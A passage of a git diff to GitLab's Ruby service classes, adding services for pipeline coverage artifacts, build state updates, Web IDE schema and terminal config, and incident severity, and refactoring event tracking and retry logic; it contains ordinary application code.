- if dag && statuses.any? { |status| Ci::HasStatus::COMPLETED_STATUSES.exclude?(status[:status]) }
- return 'pending'
- end
-
result = Gitlab::Ci::Status::Composite
- .new(statuses)
+ .new(statuses, dag: dag)
.status
result || 'success'
end
diff --git a/app/services/ci/pipelines/create_artifact_service.rb b/app/services/ci/pipelines/create_artifact_service.rb
new file mode 100644
index 00000000000..b7d334e436d
--- /dev/null
+++ b/app/services/ci/pipelines/create_artifact_service.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+module Ci
+ module Pipelines
+ class CreateArtifactService
+ def execute(pipeline)
+ return unless ::Gitlab::Ci::Features.coverage_report_view?(pipeline.project)
+ return unless pipeline.can_generate_coverage_reports?
+ return if pipeline.has_coverage_reports?
+
+ file = build_carrierwave_file(pipeline)
+
+ pipeline.pipeline_artifacts.create!(
+ project_id: pipeline.project_id,
+ file_type: :code_coverage,
+ file_format: :raw,
+ size: file["tempfile"].size,
+ file: file,
+ expire_at: Ci::PipelineArtifact::EXPIRATION_DATE.from_now
+ )
+ end
+
+ private
+
+ def build_carrierwave_file(pipeline)
+ CarrierWaveStringFile.new_file(
+ file_content: pipeline.coverage_reports.to_json,
+ filename: Ci::PipelineArtifact::DEFAULT_FILE_NAMES.fetch(:code_coverage),
+ content_type: 'application/json'
+ )
+ end
+ end
+ end
+end
diff --git a/app/services/ci/process_pipeline_service.rb b/app/services/ci/process_pipeline_service.rb
index d84ef5fbb93..18bae26613f 100644
--- a/app/services/ci/process_pipeline_service.rb
+++ b/app/services/ci/process_pipeline_service.rb
@@ -37,10 +37,12 @@ module Ci
.pluck(Arel.sql('MAX(id)'), 'name')
# mark builds that are retried
- pipeline.statuses.latest
- .where(name: latest_statuses.map(&:second))
- .where.not(id: latest_statuses.map(&:first))
- .update_all(retried: true) if latest_statuses.any?
+ if latest_statuses.any?
+ pipeline.statuses.latest
+ .where(name: latest_statuses.map(&:second))
+ .where.not(id: latest_statuses.map(&:first))
+ .update_all(retried: true)
+ end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/services/ci/retry_build_service.rb b/app/services/ci/retry_build_service.rb
index 60b3d28b0c5..6b2e6c245f3 100644
--- a/app/services/ci/retry_build_service.rb
+++ b/app/services/ci/retry_build_service.rb
@@ -2,17 +2,20 @@
module Ci
class RetryBuildService < ::BaseService
- CLONE_ACCESSORS = %i[pipeline project ref tag options name
- allow_failure stage stage_id stage_idx trigger_request
- yaml_variables when environment coverage_regex
- description tag_list protected needs_attributes
- resource_group scheduling_type].freeze
+ def self.clone_accessors
+ %i[pipeline project ref tag options name
+ allow_failure stage stage_id stage_idx trigger_request
+ yaml_variables when environment coverage_regex
+ description tag_list protected needs_attributes
+ resource_group scheduling_type].freeze
+ end
def execute(build)
build.ensure_scheduling_type!
reprocess!(build).tap do |new_build|
- build.pipeline.mark_as_processable_after_stage(build.stage_idx)
+ mark_subsequent_stages_as_processable(build)
+ build.pipeline.reset_ancestor_bridges!
Gitlab::OptimisticLocking.retry_lock(new_build, &:enqueue)
@@ -28,7 +31,7 @@ module Ci
raise Gitlab::Access::AccessDeniedError
end
- attributes = CLONE_ACCESSORS.map do |attribute|
+ attributes = self.class.clone_accessors.map do |attribute|
[attribute, build.public_send(attribute)] # rubocop:disable GitlabSecurity/PublicSend
end.to_h
@@ -60,5 +63,13 @@ module Ci
end
build
end
+
+ def mark_subsequent_stages_as_processable(build)
+ build.pipeline.processables.skipped.after_stage(build.stage_idx).find_each do |processable|
+ Gitlab::OptimisticLocking.retry_lock(processable, &:process)
+ end
+ end
end
end
+
+Ci::RetryBuildService.prepend_if_ee('EE::Ci::RetryBuildService')
diff --git a/app/services/ci/retry_pipeline_service.rb b/app/services/ci/retry_pipeline_service.rb
index 2f52f0a39c1..45244d16393 100644
--- a/app/services/ci/retry_pipeline_service.rb
+++ b/app/services/ci/retry_pipeline_service.rb
@@ -26,6 +26,8 @@ module Ci
retry_optimistic_lock(skipped) { |build| build.process }
end
+ pipeline.reset_ancestor_bridges!
+
MergeRequests::AddTodoWhenBuildFailsService
.new(project, current_user)
.close_all(pipeline)
diff --git a/app/services/ci/update_build_state_service.rb b/app/services/ci/update_build_state_service.rb
new file mode 100644
index 00000000000..61e4c77c1e5
--- /dev/null
+++ b/app/services/ci/update_build_state_service.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+module Ci
+ class UpdateBuildStateService
+ Result = Struct.new(:status, keyword_init: true)
+
+ ACCEPT_TIMEOUT = 5.minutes.freeze
+
+ attr_reader :build, :params, :metrics
+
+ def initialize(build, params, metrics = ::Gitlab::Ci::Trace::Metrics.new)
+ @build = build
+ @params = params
+ @metrics = metrics
+ end
+
+ def execute
+ overwrite_trace! if has_trace?
+
+ if accept_request?
+ accept_build_state!
+ else
+ check_migration_state
+ update_build_state!
+ end
+ end
+
+ private
+
+ def accept_build_state!
+ if Time.current - ensure_pending_state.created_at > ACCEPT_TIMEOUT
+ metrics.increment_trace_operation(operation: :discarded)
+
+ return update_build_state!
+ end
+
+ build.trace_chunks.live.find_each do |chunk|
+ chunk.schedule_to_persist!
+ end
+
+ metrics.increment_trace_operation(operation: :accepted)
+
+ Result.new(status: 202)
+ end
+
+ def overwrite_trace!
+ metrics.increment_trace_operation(operation: :overwrite)
+
+ build.trace.set(params[:trace]) if Gitlab::Ci::Features.trace_overwrite?
+ end
+
+ def check_migration_state
+ return unless accept_available?
+
+ if has_chunks? && !live_chunks_pending?
+ metrics.increment_trace_operation(operation: :finalized)
+ end
+ end
+
+ def update_build_state!
+ case build_state
+ when 'running'
+ build.touch if build.needs_touch?
+
+ Result.new(status: 200)
+ when 'success'
+ build.success!
+
+ Result.new(status: 200)
+ when 'failed'
+ build.drop!(params[:failure_reason] || :unknown_failure)
+
+ Result.new(status: 200)
+ else
+ Result.new(status: 400)
+ end
+ end
+
+ def accept_available?
+ !build_running? && has_checksum? && chunks_migration_enabled?
+ end
+
+ def accept_request?
+ accept_available? && live_chunks_pending?
+ end
+
+ def build_state
+ params.dig(:state).to_s
+ end
+
+ def has_trace?
+ params.dig(:trace).present?
+ end
+
+ def has_checksum?
+ params.dig(:checksum).present?
+ end
+
+ def has_chunks?
+ build.trace_chunks.any?
+ end
+
+ def live_chunks_pending?
+ build.trace_chunks.live.any?
+ end
+
+ def build_running?
+ build_state == 'running'
+ end
+
+ def ensure_pending_state
+ Ci::BuildPendingState.create_or_find_by!(
+ build_id: build.id,
+ state: params.fetch(:state),
+ trace_checksum: params.fetch(:checksum),
+ failure_reason: params.dig(:failure_reason)
+ )
+ rescue ActiveRecord::RecordNotFound
+ metrics.increment_trace_operation(operation: :conflict)
+
+ build.pending_state
+ end
+
+ def chunks_migration_enabled?
+ ::Gitlab::Ci::Features.accept_trace?(build.project)
+ end
+ end
+end
diff --git a/app/services/ci/update_ci_ref_status_service.rb b/app/services/ci/update_ci_ref_status_service.rb
deleted file mode 100644
index 22cc43232cc..00000000000
--- a/app/services/ci/update_ci_ref_status_service.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# frozen_string_literal: true
-
-# NOTE: This class is unused and to be removed in 13.1~
-module Ci
- class UpdateCiRefStatusService
- include Gitlab::OptimisticLocking
-
- attr_reader :pipeline
-
- def initialize(pipeline)
- @pipeline = pipeline
- end
-
- def call
- save.tap { |success| after_save if success }
- end
-
- private
-
- def save
- might_insert = ref.new_record?
-
- begin
- retry_optimistic_lock(ref) do
- next false if ref.persisted? &&
- (ref.last_updated_by_pipeline_id || 0) > pipeline.id
-
- ref.update(status: next_status(ref.status, pipeline.status),
- last_updated_by_pipeline: pipeline)
- end
- rescue ActiveRecord::RecordNotUnique
- if might_insert
- @ref = pipeline.reset.ref_status
- might_insert = false
- retry
- else
- raise
- end
- end
- end
-
- def next_status(ref_status, pipeline_status)
- if ref_status == 'failed' && pipeline_status == 'success'
- 'fixed'
- else
- pipeline_status
- end
- end
-
- def after_save
- enqueue_pipeline_notification
- end
-
- def enqueue_pipeline_notification
- PipelineNotificationWorker.perform_async(pipeline.id, ref_status: ref.status)
- end
-
- def ref
- @ref ||= pipeline.ref_status || build_ref
- end
-
- def build_ref
- Ci::Ref.new(ref: pipeline.ref, project: pipeline.project, tag: pipeline.tag)
- end
- end
-end
diff --git a/app/services/ci/web_ide_config_service.rb b/app/services/ci/web_ide_config_service.rb
deleted file mode 100644
index ade9132f419..00000000000
--- a/app/services/ci/web_ide_config_service.rb
+++ /dev/null
@@ -1,59 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class WebIdeConfigService < ::BaseService
- include ::Gitlab::Utils::StrongMemoize
-
- ValidationError = Class.new(StandardError)
-
- WEBIDE_CONFIG_FILE = '.gitlab/.gitlab-webide.yml'.freeze
-
- attr_reader :config, :config_content
-
- def execute
- check_access!
- load_config_content!
- load_config!
-
- success(terminal: config.terminal_value)
- rescue ValidationError => e
- error(e.message)
- end
-
- private
-
- def check_access!
- unless can?(current_user, :download_code, project)
- raise ValidationError, 'Insufficient permissions to read configuration'
- end
- end
-
- def load_config_content!
- @config_content = webide_yaml_from_repo
-
- unless config_content
- raise ValidationError, "Failed to load Web IDE config file '#{WEBIDE_CONFIG_FILE}' for #{params[:sha]}"
- end
- end
-
- def load_config!
- @config = Gitlab::WebIde::Config.new(config_content)
-
- unless @config.valid?
- raise ValidationError, @config.errors.first
- end
- rescue Gitlab::WebIde::Config::ConfigError => e
- raise ValidationError, e.message
- end
-
- def webide_yaml_from_repo
- gitlab_webide_yml_for(params[:sha])
- rescue GRPC::NotFound, GRPC::Internal
- nil
- end
-
- def gitlab_webide_yml_for(sha)
- project.repository.blob_data_at(sha, WEBIDE_CONFIG_FILE)
- end
- end
-end
diff --git a/app/services/clusters/aws/provision_service.rb b/app/services/clusters/aws/provision_service.rb
index 109e4c04a9c..b454a7a5f59 100644
--- a/app/services/clusters/aws/provision_service.rb
+++ b/app/services/clusters/aws/provision_service.rb
@@ -63,6 +63,7 @@ module Clusters
[
parameter('ClusterName', provider.cluster.name),
parameter('ClusterRole', provider.role_arn),
+ parameter('KubernetesVersion', provider.kubernetes_version),
parameter('ClusterControlPlaneSecurityGroup', provider.security_group_id),
parameter('VpcId', provider.vpc_id),
parameter('Subnets', provider.subnet_ids.join(',')),
diff --git a/app/services/concerns/admin/propagate_service.rb b/app/services/concerns/admin/propagate_service.rb
new file mode 100644
index 00000000000..974408f678c
--- /dev/null
+++ b/app/services/concerns/admin/propagate_service.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+module Admin
+ module PropagateService
+ extend ActiveSupport::Concern
+
+ BATCH_SIZE = 100
+
+ delegate :data_fields_present?, to: :integration
+
+ class_methods do
+ def propagate(integration)
+ new(integration).propagate
+ end
+ end
+
+ def initialize(integration)
+ @integration = integration
+ end
+
+ private
+
+ attr_reader :integration
+
+ def create_integration_for_projects_without_integration
+ loop do
+ batch_ids = Project.uncached { Project.ids_without_integration(integration, BATCH_SIZE) }
+
+ bulk_create_from_integration(batch_ids, 'project') unless batch_ids.empty?
+
+ break if batch_ids.size < BATCH_SIZE
+ end
+ end
+
+ def bulk_create_from_integration(batch_ids, association)
+ service_list = ServiceList.new(batch_ids, service_hash, association).to_array
+
+ Service.transaction do
+ results = bulk_insert(*service_list)
+
+ if data_fields_present?
+ data_list = DataList.new(results, data_fields_hash, integration.data_fields.class).to_array
+
+ bulk_insert(*data_list)
+ end
+
+ run_callbacks(batch_ids) if association == 'project'
+ end
+ end
+
+ def bulk_insert(klass, columns, values_array)
+ items_to_insert = values_array.map { |array| Hash[columns.zip(array)] }
+
+ klass.insert_all(items_to_insert, returning: [:id])
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def run_callbacks(batch_ids)
+ if integration.issue_tracker?
+ Project.where(id: batch_ids).update_all(has_external_issue_tracker: true)
+ end
+
+ if integration.type == 'ExternalWikiService'
+ Project.where(id: batch_ids).update_all(has_external_wiki: true)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def data_fields_hash
+ @data_fields_hash ||= integration.to_data_fields_hash
+ end
+ end
+end
diff --git a/app/services/concerns/incident_management/settings.rb b/app/services/concerns/incident_management/settings.rb
index 13a047ec106..93dfd6a306d 100644
--- a/app/services/concerns/incident_management/settings.rb
+++ b/app/services/concerns/incident_management/settings.rb
@@ -16,5 +16,9 @@ module IncidentManagement
def process_issues?
incident_management_setting.create_issue?
end
+
+ def auto_close_incident?
+ incident_management_setting.auto_close_incident?
+ end
end
end
diff --git a/app/services/concerns/incident_management/usage_data.rb b/app/services/concerns/incident_management/usage_data.rb
new file mode 100644
index 00000000000..b91aa59099d
--- /dev/null
+++ b/app/services/concerns/incident_management/usage_data.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module IncidentManagement
+ module UsageData
+ include Gitlab::Utils::UsageData
+
+ def track_incident_action(current_user, target, action)
+ return unless target.incident?
+
+ track_usage_event(:"incident_management_#{action}", current_user.id)
+ end
+
+ # No-op as optionally overridden in implementing classes.
+ # For use to provide checks before calling #track_incident_action.
+ def track_event
+ end
+ end
+end
diff --git a/app/services/concerns/measurable.rb b/app/services/concerns/measurable.rb
index b099a58a9ae..fcb3022a1dc 100644
--- a/app/services/concerns/measurable.rb
+++ b/app/services/concerns/measurable.rb
@@ -45,7 +45,7 @@ module Measurable
private
def measuring?
- Feature.enabled?("gitlab_service_measuring_#{service_class}")
+ Feature.enabled?("gitlab_service_measuring_#{service_class}", type: :ops)
end
# These attributes are always present in log.
diff --git a/app/services/concerns/merge_requests/removes_refs.rb b/app/services/concerns/merge_requests/removes_refs.rb
new file mode 100644
index 00000000000..87c15746548
--- /dev/null
+++ b/app/services/concerns/merge_requests/removes_refs.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module MergeRequests
+ module RemovesRefs
+ def cleanup_refs(merge_request)
+ CleanupRefsService.schedule(merge_request)
+ end
+ end
+end
diff --git a/app/services/design_management/move_designs_service.rb b/app/services/design_management/move_designs_service.rb
index de763caba2f..ca715b10351 100644
--- a/app/services/design_management/move_designs_service.rb
+++ b/app/services/design_management/move_designs_service.rb
@@ -13,7 +13,6 @@ module DesignManagement
def execute
return error(:no_focus) unless current_design.present?
- return error(:cannot_move) unless ::Feature.enabled?(:reorder_designs, project, default_enabled: true)
return error(:cannot_move) unless current_user.can?(:move_design, current_design)
return error(:no_neighbors) unless neighbors.present?
return error(:not_distinct) unless all_distinct?
diff --git a/app/services/event_create_service.rb b/app/services/event_create_service.rb
index 3921dbefd06..85658598afc 100644
--- a/app/services/event_create_service.rb
+++ b/app/services/event_create_service.rb
@@ -23,11 +23,15 @@ class EventCreateService
end
def open_mr(merge_request, current_user)
- create_record_event(merge_request, current_user, :created)
+ create_record_event(merge_request, current_user, :created).tap do
+ track_event(event_action: :created, event_target: MergeRequest, author_id: current_user.id)
+ end
end
def close_mr(merge_request, current_user)
- create_record_event(merge_request, current_user, :closed)
+ create_record_event(merge_request, current_user, :closed).tap do
+ track_event(event_action: :closed, event_target: MergeRequest, author_id: current_user.id)
+ end
end
def reopen_mr(merge_request, current_user)
@@ -35,7 +39,9 @@ class EventCreateService
end
def merge_mr(merge_request, current_user)
- create_record_event(merge_request, current_user, :merged)
+ create_record_event(merge_request, current_user, :merged).tap do
+ track_event(event_action: :merged, event_target: MergeRequest, author_id: current_user.id)
+ end
end
def open_milestone(milestone, current_user)
@@ -55,7 +61,11 @@ class EventCreateService
end
def leave_note(note, current_user)
- create_record_event(note, current_user, :commented)
+ create_record_event(note, current_user, :commented).tap do
+ if note.is_a?(DiffNote) && note.for_merge_request?
+ track_event(event_action: :commented, event_target: MergeRequest, author_id: current_user.id)
+ end
+ end
end
def join_project(project, current_user)
@@ -109,7 +119,7 @@ class EventCreateService
def wiki_event(wiki_page_meta, author, action, fingerprint)
raise IllegalActionError, action unless Event::WIKI_ACTIONS.include?(action)
- Gitlab::UsageDataCounters::TrackUniqueActions.track_event(event_action: action, event_target: wiki_page_meta.class, author_id: author.id)
+ track_event(event_action: action, event_target: wiki_page_meta.class, author_id: author.id)
duplicate = Event.for_wiki_meta(wiki_page_meta).for_fingerprint(fingerprint).first
return duplicate if duplicate.present?
@@ -154,7 +164,7 @@ class EventCreateService
result = Event.insert_all(attribute_sets, returning: %w[id])
tuples.each do |record, status, _|
- Gitlab::UsageDataCounters::TrackUniqueActions.track_event(event_action: status, event_target: record.class, author_id: current_user.id)
+ track_event(event_action: status, event_target: record.class, author_id: current_user.id)
end
result
@@ -172,7 +182,7 @@ class EventCreateService
new_event
end
- Gitlab::UsageDataCounters::TrackUniqueActions.track_event(event_action: :pushed, event_target: Project, author_id: current_user.id)
+ track_event(event_action: :pushed, event_target: Project, author_id: current_user.id)
Users::LastPushEventService.new(current_user)
.cache_last_push_event(event)
@@ -206,6 +216,10 @@ class EventCreateService
{ resource_parent_attr => resource_parent.id }
end
+
+ def track_event(**params)
+ Gitlab::UsageDataCounters::TrackUniqueEvents.track_event(**params)
+ end
end
EventCreateService.prepend_if_ee('EE::EventCreateService')
diff --git a/app/services/git/branch_hooks_service.rb b/app/services/git/branch_hooks_service.rb
index 92e7702727c..dcb32b4c84b 100644
--- a/app/services/git/branch_hooks_service.rb
+++ b/app/services/git/branch_hooks_service.rb
@@ -75,6 +75,7 @@ module Git
def branch_change_hooks
enqueue_process_commit_messages
+ enqueue_jira_connect_sync_messages
end
def branch_remove_hooks
@@ -103,6 +104,17 @@ module Git
end
end
+ def enqueue_jira_connect_sync_messages
+ return unless project.jira_subscription_exists?
+
+ branch_to_sync = branch_name if Atlassian::JiraIssueKeyExtractor.has_keys?(branch_name)
+ commits_to_sync = limited_commits.select { |commit| Atlassian::JiraIssueKeyExtractor.has_keys?(commit.safe_message) }.map(&:sha)
+
+ if branch_to_sync || commits_to_sync.any?
+ JiraConnect::SyncBranchWorker.perform_async(project.id, branch_to_sync, commits_to_sync)
+ end
+ end
+
def unsigned_x509_shas(commits)
X509CommitSignature.unsigned_commit_shas(commits.map(&:sha))
end
diff --git a/app/services/git/wiki_push_service.rb b/app/services/git/wiki_push_service.rb
index f9de72f2d5f..fa3019ee9d6 100644
--- a/app/services/git/wiki_push_service.rb
+++ b/app/services/git/wiki_push_service.rb
@@ -5,7 +5,16 @@ module Git
# Maximum number of change events we will process on any single push
MAX_CHANGES = 100
+ attr_reader :wiki
+
+ def initialize(wiki, current_user, params)
+ @wiki, @current_user, @params = wiki, current_user, params.dup
+ end
+
def execute
+ # Execute model-specific callbacks
+ wiki.after_post_receive
+
process_changes
end
@@ -23,7 +32,11 @@ module Git
end
def can_process_wiki_events?
- Feature.enabled?(:wiki_events_on_git_push, project)
+ # TODO: Support activity events for group wikis
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/209306
+ return false unless wiki.is_a?(ProjectWiki)
+
+ Feature.enabled?(:wiki_events_on_git_push, wiki.container)
end
def push_changes
@@ -36,10 +49,6 @@ module Git
wiki.repository.raw.raw_changes_between(change[:oldrev], change[:newrev])
end
- def wiki
- project.wiki
- end
-
def create_event_for(change)
event_service.execute(
change.last_known_slug,
@@ -54,7 +63,7 @@ module Git
end
def on_default_branch?(change)
- project.wiki.default_branch == ::Gitlab::Git.branch_name(change[:ref])
+ wiki.default_branch == ::Gitlab::Git.branch_name(change[:ref])
end
# See: [Gitlab::GitPostReceive#changes]
diff --git a/app/services/git/wiki_push_service/change.rb b/app/services/git/wiki_push_service/change.rb
index 562c43487e9..3d1d0fe8c4e 100644
--- a/app/services/git/wiki_push_service/change.rb
+++ b/app/services/git/wiki_push_service/change.rb
@@ -5,11 +5,11 @@ module Git
class Change
include Gitlab::Utils::StrongMemoize
- # @param [ProjectWiki] wiki
+ # @param [Wiki] wiki
# @param [Hash] change - must have keys `:oldrev` and `:newrev`
# @param [Gitlab::Git::RawDiffChange] raw_change
- def initialize(project_wiki, change, raw_change)
- @wiki, @raw_change, @change = project_wiki, raw_change, change
+ def initialize(wiki, change, raw_change)
+ @wiki, @raw_change, @change = wiki, raw_change, change
end
def page
diff --git a/app/services/ide/base_config_service.rb b/app/services/ide/base_config_service.rb
new file mode 100644
index 00000000000..1f8d5c17584
--- /dev/null
+++ b/app/services/ide/base_config_service.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+module Ide
+ class BaseConfigService < ::BaseService
+ ValidationError = Class.new(StandardError)
+
+ WEBIDE_CONFIG_FILE = '.gitlab/.gitlab-webide.yml'.freeze
+
+ attr_reader :config, :config_content
+
+ def execute
+ check_access_and_load_config!
+
+ success
+ rescue ValidationError => e
+ error(e.message)
+ end
+
+ protected
+
+ def check_access_and_load_config!
+ check_access!
+ load_config_content!
+ load_config!
+ end
+
+ private
+
+ def check_access!
+ unless can?(current_user, :download_code, project)
+ raise ValidationError, 'Insufficient permissions to read configuration'
+ end
+ end
+
+ def load_config_content!
+ @config_content = webide_yaml_from_repo
+
+ unless config_content
+ raise ValidationError, "Failed to load Web IDE config file '#{WEBIDE_CONFIG_FILE}' for #{params[:sha]}"
+ end
+ end
+
+ def load_config!
+ @config = Gitlab::WebIde::Config.new(config_content)
+
+ unless @config.valid?
+ raise ValidationError, @config.errors.first
+ end
+ rescue Gitlab::WebIde::Config::ConfigError => e
+ raise ValidationError, e.message
+ end
+
+ def webide_yaml_from_repo
+ gitlab_webide_yml_for(params[:sha])
+ rescue GRPC::NotFound, GRPC::Internal
+ nil
+ end
+
+ def gitlab_webide_yml_for(sha)
+ project.repository.blob_data_at(sha, WEBIDE_CONFIG_FILE)
+ end
+ end
+end
diff --git a/app/services/ide/schemas_config_service.rb b/app/services/ide/schemas_config_service.rb
new file mode 100644
index 00000000000..8d2ce97103d
--- /dev/null
+++ b/app/services/ide/schemas_config_service.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Ide
+ class SchemasConfigService < ::Ide::BaseConfigService
+ PREDEFINED_SCHEMAS = [{
+ uri: 'https://json.schemastore.org/gitlab-ci',
+ match: ['*.gitlab-ci.yml']
+ }].freeze
+
+ def execute
+ schema = predefined_schema_for(params[:filename]) || {}
+ success(schema: schema)
+ rescue => e
+ error(e.message)
+ end
+
+ private
+
+ def find_schema(filename, schemas)
+ match_flags = ::File::FNM_DOTMATCH | ::File::FNM_PATHNAME
+
+ schemas.each do |schema|
+ match = schema[:match].any? { |pattern| ::File.fnmatch?(pattern, filename, match_flags) }
+
+ return Gitlab::Json.parse(get_cached(schema[:uri])) if match
+ end
+
+ nil
+ end
+
+ def predefined_schema_for(filename)
+ find_schema(filename, predefined_schemas)
+ end
+
+ def predefined_schemas
+ return PREDEFINED_SCHEMAS if Feature.enabled?(:schema_linting)
+
+ []
+ end
+
+ def get_cached(url)
+ Rails.cache.fetch("services:ide:schema:#{url}", expires_in: 1.day) do
+ Gitlab::HTTP.get(url).body
+ end
+ end
+ end
+end
+
+Ide::SchemasConfigService.prepend_if_ee('::EE::Ide::SchemasConfigService')
diff --git a/app/services/ide/terminal_config_service.rb b/app/services/ide/terminal_config_service.rb
new file mode 100644
index 00000000000..318df3436c4
--- /dev/null
+++ b/app/services/ide/terminal_config_service.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Ide
+ class TerminalConfigService < ::Ide::BaseConfigService
+ private
+
+ def success(pass_back = {})
+ result = super(pass_back)
+ result[:terminal] = config.terminal_value
+ result
+ end
+ end
+end
diff --git a/app/services/incident_management/incidents/create_service.rb b/app/services/incident_management/incidents/create_service.rb
index 7206eaf51b2..5b925e0f440 100644
--- a/app/services/incident_management/incidents/create_service.rb
+++ b/app/services/incident_management/incidents/create_service.rb
@@ -5,11 +5,12 @@ module IncidentManagement
class CreateService < BaseService
ISSUE_TYPE = 'incident'
- def initialize(project, current_user, title:, description:)
+ def initialize(project, current_user, title:, description:, severity: IssuableSeverity::DEFAULT)
super(project, current_user)
@title = title
@description = description
+ @severity = severity
end
def execute
@@ -18,25 +19,19 @@ module IncidentManagement
current_user,
title: title,
description: description,
- label_ids: [find_or_create_incident_label.id],
issue_type: ISSUE_TYPE
).execute
return error(issue.errors.full_messages.to_sentence, issue) unless issue.valid?
+ issue.update_severity(severity)
+
success(issue)
end
private
- attr_reader :title, :description
-
- def find_or_create_incident_label
- IncidentManagement::CreateIncidentLabelService
- .new(project, current_user)
- .execute
- .payload[:label]
- end
+ attr_reader :title, :description, :severity
def success(issue)
ServiceResponse.success(payload: { issue: issue })
diff --git a/app/services/issuable/common_system_notes_service.rb b/app/services/issuable/common_system_notes_service.rb
index 84024cca68c..fbc72dc867a 100644
--- a/app/services/issuable/common_system_notes_service.rb
+++ b/app/services/issuable/common_system_notes_service.rb
@@ -22,7 +22,7 @@ module Issuable
end
create_due_date_note if issuable.previous_changes.include?('due_date')
- create_milestone_note(old_milestone) if issuable.previous_changes.include?('milestone_id')
+ create_milestone_change_event(old_milestone) if issuable.previous_changes.include?('milestone_id')
create_labels_note(old_labels) if old_labels && issuable.labels != old_labels
end
end
@@ -94,23 +94,11 @@ module Issuable
SystemNoteService.change_time_spent(issuable, issuable.project, issuable.time_spent_user)
end
- def create_milestone_note(old_milestone)
- if milestone_changes_tracking_enabled?
- create_milestone_change_event(old_milestone)
- else
- SystemNoteService.change_milestone(issuable, issuable.project, current_user, issuable.milestone)
- end
- end
-
def create_milestone_change_event(old_milestone)
ResourceEvents::ChangeMilestoneService.new(issuable, current_user, old_milestone: old_milestone)
.execute
end
- def milestone_changes_tracking_enabled?
- ::Feature.enabled?(:track_resource_milestone_change_events, issuable.project, default_enabled: true)
- end
-
def create_due_date_note
SystemNoteService.change_due_date(issuable, issuable.project, current_user, issuable.due_date)
end
diff --git a/app/services/issuable_base_service.rb b/app/services/issuable_base_service.rb
index 65a73dadc2e..56bcef0c562 100644
--- a/app/services/issuable_base_service.rb
+++ b/app/services/issuable_base_service.rb
@@ -46,7 +46,7 @@ class IssuableBaseService < BaseService
params[:assignee_ids] = params[:assignee_ids].first(1)
end
- assignee_ids = params[:assignee_ids].select { |assignee_id| assignee_can_read?(issuable, assignee_id) }
+ assignee_ids = params[:assignee_ids].select { |assignee_id| user_can_read?(issuable, assignee_id) }
if params[:assignee_ids].map(&:to_s) == [IssuableFinder::Params::NONE]
params[:assignee_ids] = []
@@ -57,15 +57,15 @@ class IssuableBaseService < BaseService
end
end
- def assignee_can_read?(issuable, assignee_id)
- new_assignee = User.find_by_id(assignee_id)
+ def user_can_read?(issuable, user_id)
+ user = User.find_by_id(user_id)
- return false unless new_assignee
+ return false unless user
ability_name = :"read_#{issuable.to_ability_name}"
resource = issuable.persisted? ? issuable : project
- can?(new_assignee, ability_name, resource)
+ can?(user, ability_name, resource)
end
def filter_milestone
@@ -136,7 +136,7 @@ class IssuableBaseService < BaseService
{}
end
- def create(issuable)
+ def create(issuable, skip_system_notes: false)
handle_quick_actions(issuable)
filter_params(issuable)
@@ -153,7 +153,7 @@ class IssuableBaseService < BaseService
end
if issuable_saved
- Issuable::CommonSystemNotesService.new(project, current_user).execute(issuable, is_update: false)
+ create_system_notes(issuable, is_update: false) unless skip_system_notes
after_create(issuable)
execute_hooks(issuable)
@@ -184,10 +184,7 @@ class IssuableBaseService < BaseService
handle_quick_actions(issuable)
filter_params(issuable)
- change_state(issuable)
- change_subscription(issuable)
- change_todo(issuable)
- toggle_award(issuable)
+ change_additional_attributes(issuable)
old_associations = associations_before_update(issuable)
label_ids = process_label_ids(params, existing_label_ids: issuable.label_ids)
@@ -220,8 +217,9 @@ class IssuableBaseService < BaseService
end
if issuable_saved
- Issuable::CommonSystemNotesService.new(project, current_user).execute(
- issuable, old_labels: old_associations[:labels], old_milestone: old_associations[:milestone])
+ create_system_notes(
+ issuable, old_labels: old_associations[:labels], old_milestone: old_associations[:milestone]
+ )
handle_changes(issuable, old_associations: old_associations)
@@ -255,7 +253,7 @@ class IssuableBaseService < BaseService
before_update(issuable, skip_spam_check: true)
if issuable.with_transaction_returning_status { issuable.save }
- Issuable::CommonSystemNotesService.new(project, current_user).execute(issuable, old_labels: nil)
+ create_system_notes(issuable, old_labels: nil)
handle_task_changes(issuable)
invalidate_cache_counts(issuable, users: issuable.assignees.to_a)
@@ -304,6 +302,14 @@ class IssuableBaseService < BaseService
issuable.title_changed? || issuable.description_changed?
end
+ def change_additional_attributes(issuable)
+ change_state(issuable)
+ change_severity(issuable)
+ change_subscription(issuable)
+ change_todo(issuable)
+ toggle_award(issuable)
+ end
+
def change_state(issuable)
case params.delete(:state_event)
when 'reopen'
@@ -313,6 +319,12 @@ class IssuableBaseService < BaseService
end
end
+ def change_severity(issuable)
+ if severity = params.delete(:severity)
+ issuable.update_severity(severity)
+ end
+ end
+
def change_subscription(issuable)
case params.delete(:subscription_event)
when 'subscribe'
@@ -339,6 +351,10 @@ class IssuableBaseService < BaseService
AwardEmojis::ToggleService.new(issuable, award, current_user).execute if award
end
+ def create_system_notes(issuable, **options)
+ Issuable::CommonSystemNotesService.new(project, current_user).execute(issuable, **options)
+ end
+
def associations_before_update(issuable)
associations =
{
@@ -353,8 +369,8 @@ class IssuableBaseService < BaseService
associations
end
- def has_changes?(issuable, old_labels: [], old_assignees: [])
- valid_attrs = [:title, :description, :assignee_ids, :milestone_id, :target_branch]
+ def has_changes?(issuable, old_labels: [], old_assignees: [], old_reviewers: [])
+ valid_attrs = [:title, :description, :assignee_ids, :reviewer_ids, :milestone_id, :target_branch]
attrs_changed = valid_attrs.any? do |attr|
issuable.previous_changes.include?(attr.to_s)
@@ -364,7 +380,9 @@ class IssuableBaseService < BaseService
assignees_changed = issuable.assignees != old_assignees
- attrs_changed || labels_changed || assignees_changed
+ reviewers_changed = issuable.reviewers != old_reviewers if issuable.allows_reviewers?
+
